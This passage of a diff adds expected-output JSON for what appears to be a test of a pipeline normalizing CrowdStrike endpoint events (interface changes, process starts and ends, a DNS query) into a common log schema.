+                "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.13\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"utun2\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"17\",\"event_platform\":\"Mac\",\"InterfaceType\":\"1\",\"id\":\"ffffffff-1111-11eb-a272-0294ad12fbe7\",\"PhysicalAddressLength\":\"0\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677504544\",\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"3090255842\",\"PhysicalAddress\":\"\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP4MacV1\",\"aid\":\"ffffffff557f4b99a0afdea9ce8cd6fa\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff557f4b99a0afdea9ce8cd6fa",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LocalIpAddressIP4",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff557f4b99a0afdea9ce8cd6fa",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "67.43.156.14"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:04:59.681Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4288861242",
+                "Entitlements": "15",
+                "MD5HashData": "894356eb59e279696c304f07091b7fde",
+                "NDRoot": "321385814512398584",
+                "RGID": "0",
+                "RUID": "0",
+                "SHA256HashData": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa",
+                "SVGID": "0",
+                "SVUID": "0",
+                "SessionProcessId": "314116638974342642",
+                "SourceProcessId": "321385814512398584",
+                "SourceThreadId": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-ac87-06decddc17a1",
+                "name": "ProcessRollup2LinV5"
+            },
+            "device": {
+                "id": "ffffffff70d140ca9ba97f0dddd14137"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:04:59.681Z",
+                "id": "ffffffff-1111-11eb-ac87-06decddc17a1|ffffffff70d140ca9ba97f0dddd14137|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"CommandLine\":\"uname -a\",\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/bin/uname\",\"MD5HashData\":\"894356eb59e279696c304f07091b7fde\",\"NDRoot\":\"321385814512398584\",\"ParentProcessId\":\"321385814512398584\",\"ProcessEndTime\":\"1604855099.126\",\"ProcessGroupId\":\"0\",\"ProcessStartTime\":\"1604855099.126\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"51342\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SessionProcessId\":\"314116638974342642\",\"SourceProcessId\":\"321385814512398584\",\"SourceThreadId\":\"0\",\"TargetProcessId\":\"321385814512398605\",\"UID\":\"0\",\"aid\":\"ffffffff70d140ca9ba97f0dddd14137\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-ac87-06decddc17a1\",\"name\":\"ProcessRollup2LinV5\",\"timestamp\":\"1604855099681\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "group": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "id": "0"
+            },
+            "host": {
+                "id": "ffffffff70d140ca9ba97f0dddd14137",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff70d140ca9ba97f0dddd14137",
+                "version": "1007.8.0009806.1"
+            },
+            "process": {
+                "args": [
+                    "uname",
+                    "-a"
+                ],
+                "args_count": 2,
+                "command_line": "uname -a",
+                "end": "2020-11-08T17:04:59.126Z",
+                "entity_id": "321385814512398605",
+                "executable": "/bin/uname",
+                "group": {
+                    "id": "0"
+                },
+                "group_leader": {
+                    "entity_id": "0"
+                },
+                "hash": {
+                    "md5": "894356eb59e279696c304f07091b7fde",
+                    "sha256": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa"
+                },
+                "name": "uname",
+                "parent": {
+                    "entity_id": "321385814512398584"
+                },
+                "pgid": 0,
+                "pid": 51342,
+                "real_group": {
+                    "id": "0"
+                },
+                "real_user": {
+                    "id": "0"
+                },
+                "start": "2020-11-08T17:04:59.126Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "894356eb59e279696c304f07091b7fde",
+                    "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa",
+                    "4288861242"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:04:59.646Z",
+            "crowdstrike": {
+                "AsepWrittenCount": 0,
+                "ConfigStateHash": "1789338890",
+                "ContextProcessId": "317713210176499254",
+                "ContextTimeStamp": "2020-11-08T17:04:56.730Z",
+                "DirectoryCreatedCount": 0,
+                "DnsRequestCount": 0,
+                "Entitlements": "15",
+                "ExecutableDeletedCount": 0,
+                "FileDeletedCount": 0,
+                "NetworkBindCount": 0,
+                "NetworkCapableAsepWriteCount": 0,
+                "NetworkCloseCount": 0,
+                "NetworkConnectCount": 0,
+                "NetworkListenCount": 0,
+                "NetworkRecvAcceptCount": 0,
+                "NewExecutableWrittenCount": 0,
+                "SHA256HashData": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0",
+                "SuspectStackCount": 0,
+                "SuspiciousDnsRequestCount": 0,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-809e-02fff4e55a49",
+                "name": "EndOfProcessMacV14"
+            },
+            "device": {
+                "id": "ffffffff75fc48f15cfe5f095e605c4c"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:04:59.646Z",
+                "id": "ffffffff-1111-11eb-809e-02fff4e55a49|ffffffff75fc48f15cfe5f095e605c4c|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"317713210176499254\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855096.730\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"28987\",\"SHA256HashData\":\"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"317713210176499254\",\"aid\":\"ffffffff75fc48f15cfe5f095e605c4c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-809e-02fff4e55a49\",\"name\":\"EndOfProcessMacV14\",\"timestamp\":\"1604855099646\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffff75fc48f15cfe5f095e605c4c",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff75fc48f15cfe5f095e605c4c",
+                "version": "1007.4.0011104.1"
+            },
+            "process": {
+                "entity_id": "317713210176499254",
+                "hash": {
+                    "sha256": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0"
+                },
+                "pid": 28987,
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0",
+                    "1789338890"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:04:59.935Z",
+            "crowdstrike": {
+                "AllocateVirtualMemoryCount": 0,
+                "ArchiveFileWrittenCount": 0,
+                "AsepWrittenCount": 0,
+                "BinaryExecutableWrittenCount": 0,
+                "CLICreationCount": 0,
+                "ConHostId": "38188",
+                "ConHostProcessId": "3099352216141",
+                "ConfigStateHash": "3343111420",
+                "ContextProcessId": "3100508103359",
+                "ContextTimeStamp": "2020-11-08T17:04:57.926Z",
+                "CreateProcessCount": 0,
+                "CycleTime": 2937514388,
+                "DirectoryCreatedCount": 0,
+                "DirectoryEnumeratedCount": 1,
+                "DnsRequestCount": 0,
+                "DocumentFileWrittenCount": 0,
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ExeAndServiceCount": 0,
+                "ExecutableDeletedCount": 0,
+                "FileDeletedCount": 2,
+                "GenericFileWrittenCount": 0,
+                "ImageSubsystem": "3",
+                "InjectedDllCount": 0,
+                "InjectedThreadCount": 0,
+                "KernelTime": 7500000,
+                "MaxThreadCount": 4,
+                "ModuleLoadCount": 38,
+                "NetworkBindCount": 0,
+                "NetworkCapableAsepWriteCount": 0,
+                "NetworkCloseCount": 0,
+                "NetworkConnectCount": 0,
+                "NetworkConnectCountUdp": 0,
+                "NetworkListenCount": 0,
+                "NetworkModuleLoadCount": 0,
+                "NetworkRecvAcceptCount": 0,
+                "NewExecutableWrittenCount": 0,
+                "PrivilegedProcessHandleCount": 0,
+                "ProtectVirtualMemoryCount": 0,
+                "QueueApcCount": 0,
+                "RegKeySecurityDecreasedCount": 0,
+                "RemovableDiskFileWrittenCount": 0,
+                "RunDllInvocationCount": 0,
+                "SHA256HashData": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f",
+                "ScreenshotsTakenCount": 0,
+                "ScriptEngineInvocationCount": 0,
+                "ServiceEventCount": 0,
+                "SetThreadContextCount": 0,
+                "SnapshotFileOpenCount": 0,
+                "SuspectStackCount": 0,
+                "SuspiciousCredentialModuleLoadCount": 0,
+                "SuspiciousDnsRequestCount": 0,
+                "SuspiciousFontLoadCount": 0,
+                "SuspiciousRawDiskReadCount": 0,
+                "UnsignedModuleLoadCount": 0,
+                "UserMemoryAllocateExecutableCount": 0,
+                "UserMemoryAllocateExecutableRemoteCount": 0,
+                "UserMemoryProtectExecutableCount": 0,
+                "UserMemoryProtectExecutableRemoteCount": 0,
+                "UserTime": 6406250,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8726-063418e4a9e7",
+                "name": "EndOfProcessV15"
+            },
+            "device": {
+                "id": "ffffffffb5db4b2e7ec89aba537adcc2"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:04:59.935Z",
+                "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffb5db4b2e7ec89aba537adcc2|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"38188\",\"ConHostProcessId\":\"3099352216141\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextData\":\"\",\"ContextProcessId\":\"3100508103359\",\"ContextThreadId\":\"93436292950223\",\"ContextTimeStamp\":\"1604855097.926\",\"CreateProcessCount\":\"0\",\"CycleTime\":\"2937514388\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"1\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"2\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"3\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"7500000\",\"MaxThreadCount\":\"4\",\"ModuleLoadCount\":\"38\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"3099350649383\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855096.463\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"33016\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"3100508103359\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-5-18\",\"UserTime\":\"6406250\",\"aid\":\"ffffffffb5db4b2e7ec89aba537adcc2\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"EndOfProcessV15\",\"timestamp\":\"1604855099935\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffffb5db4b2e7ec89aba537adcc2",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffb5db4b2e7ec89aba537adcc2",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "3100508103359",
+                "exit_code": 0,
+                "hash": {
+                    "sha256": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f"
+                },
+                "parent": {
+                    "entity_id": "3099350649383"
+                },
+                "pid": 33016,
+                "start": "2020-11-08T17:04:56.463Z",
+                "thread": {
+                    "id": 93436292950223
+                }
+            },
+            "related": {
+                "hash": [
+                    "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f",
+                    "3343111420"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "S-1-5-18"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-18"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:00.139Z",
+            "crowdstrike": {
+                "AsepWrittenCount": 0,
+                "ConfigStateHash": "3344040805",
+                "ContextProcessId": "311775981885093125",
+                "ContextTimeStamp": "2020-11-08T17:05:01.341Z",
+                "DirectoryCreatedCount": 0,
+                "DnsRequestCount": 0,
+                "Entitlements": "15",
+                "ExecutableDeletedCount": 0,
+                "FileDeletedCount": 0,
+                "NetworkBindCount": 0,
+                "NetworkCapableAsepWriteCount": 0,
+                "NetworkCloseCount": 0,
+                "NetworkConnectCount": 0,
+                "NetworkListenCount": 0,
+                "NetworkRecvAcceptCount": 0,
+                "NewExecutableWrittenCount": 0,
+                "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
+                "SuspectStackCount": 0,
+                "SuspiciousDnsRequestCount": 0,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-bc03-065126dd0691",
+                "name": "EndOfProcessMacV12"
+            },
+            "device": {
+                "id": "ffffffff1aa0482a5ea94f64e08e7b15"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:05:00.139Z",
+                "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"ContextProcessId\":\"311775981885093125\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.341\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"10507\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"311775981885093125\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"EndOfProcessMacV12\",\"timestamp\":\"1604855100139\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffff1aa0482a5ea94f64e08e7b15",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15",
+                "version": "1007.4.0009304.1"
+            },
+            "process": {
+                "entity_id": "311775981885093125",
+                "hash": {
+                    "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3"
+                },
+                "pid": 10507,
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
+                    "3344040805"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:00.030Z",
+            "crowdstrike": {
+                "AuthenticationId": "999",
+                "ConfigStateHash": "3765958535",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ImageSubsystem": "3",
+                "IntegrityLevel": "16384",
+                "MD5HashData": "571391f723a439e985a2064337e2802a",
+                "ParentAuthenticationId": "999",
+                "ProcessCreateFlags": "67634688",
+                "ProcessParameterFlags": "24577",
+                "ProcessSxsFlags": "64",
+                "SHA256HashData": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720",
+                "SessionId": "0",
+                "SourceProcessId": "17346335177",
+                "SourceThreadId": "107650023406",
+                "Tags": [
+                    "27",
+                    "151",
+                    "12094627905582",
+                    "12094627906234"
+                ],
+                "TokenType": "1",
+                "WindowFlags": "384",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-a09e-06f79d630255",
+                "name": "ProcessRollup2V17"
+            },
+            "device": {
+                "id": "ffffffff3a5a424fa02450da53619745"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:05:00.030Z",
+                "id": "ffffffff-1111-11eb-a09e-06f79d630255|ffffffff3a5a424fa02450da53619745|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"D:\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe --ps2\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe\",\"ImageSubsystem\":\"3\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"571391f723a439e985a2064337e2802a\",\"ParentAuthenticationId\":\"999\",\"ParentBaseFileName\":\"splunkd.exe\",\"ParentProcessId\":\"17346335177\",\"ProcessCreateFlags\":\"67634688\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"24577\",\"ProcessStartTime\":\"1604855099.406\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6116\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720\",\"SessionId\":\"0\",\"SourceProcessId\":\"17346335177\",\"SourceThreadId\":\"107650023406\",\"Tags\":\"27, 151, 12094627905582, 12094627906234\",\"TargetProcessId\":\"583707537390\",\"TokenType\":\"1\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"384\",\"aid\":\"ffffffff3a5a424fa02450da53619745\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-a09e-06f79d630255\",\"name\":\"ProcessRollup2V17\",\"timestamp\":\"1604855100030\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff3a5a424fa02450da53619745",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff3a5a424fa02450da53619745",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "Ext": {
+                    "token": {
+                        "integrity_level_name": "SYSTEM"
+                    }
+                },
+                "args": [
+                    "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe",
+                    "--ps2"
+                ],
+                "args_count": 2,
+                "command_line": "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2",
+                "entity_id": "583707537390",
+                "executable": "\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe",
+                "hash": {
+                    "md5": "571391f723a439e985a2064337e2802a",
+                    "sha256": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720"
+                },
+                "name": "splunk-powershell.exe",
+                "parent": {
+                    "entity_id": "17346335177",
+                    "name": "splunkd.exe"
+                },
+                "pid": 6116,
+                "start": "2020-11-08T17:04:59.406Z"
+            },
+            "related": {
+                "hash": [
+                    "571391f723a439e985a2064337e2802a",
+                    "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720",
+                    "3765958535"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "S-1-5-18"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-18"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:04:59.913Z",
+            "crowdstrike": {
+                "ConfigStateHash": "2784638081",
+                "ContextProcessId": "259090530891",
+                "ContextTimeStamp": "2020-11-08T17:04:55.961Z",
+                "DnsRequestCount": 1,
+                "DualRequest": "0",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InterfaceIndex": 0,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed",
+                "name": "DnsRequestV3"
+            },
+            "device": {
+                "id": "ffffffff4f1444bab96568879cb43556"
+            },
+            "dns": {
+                "question": {
+                    "name": "comp1.dom2",
+                    "type": "A"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "DnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:04:59.913Z",
+                "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed|ffffffff4f1444bab96568879cb43556|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2784638081\",\"ContextProcessId\":\"259090530891\",\"ContextThreadId\":\"16409623709004\",\"ContextTimeStamp\":\"1604855095.961\",\"DnsRequestCount\":\"1\",\"DomainName\":\"comp1.dom2\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff4f1444bab96568879cb43556\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DnsRequest\",\"id\":\"ffffffff-1111-11eb-8077-0606f7dcf2ed\",\"name\":\"DnsRequestV3\",\"timestamp\":\"1604855099913\"}",
+                "outcome": "success",
+                "type": [
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "ffffffff4f1444bab96568879cb43556",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
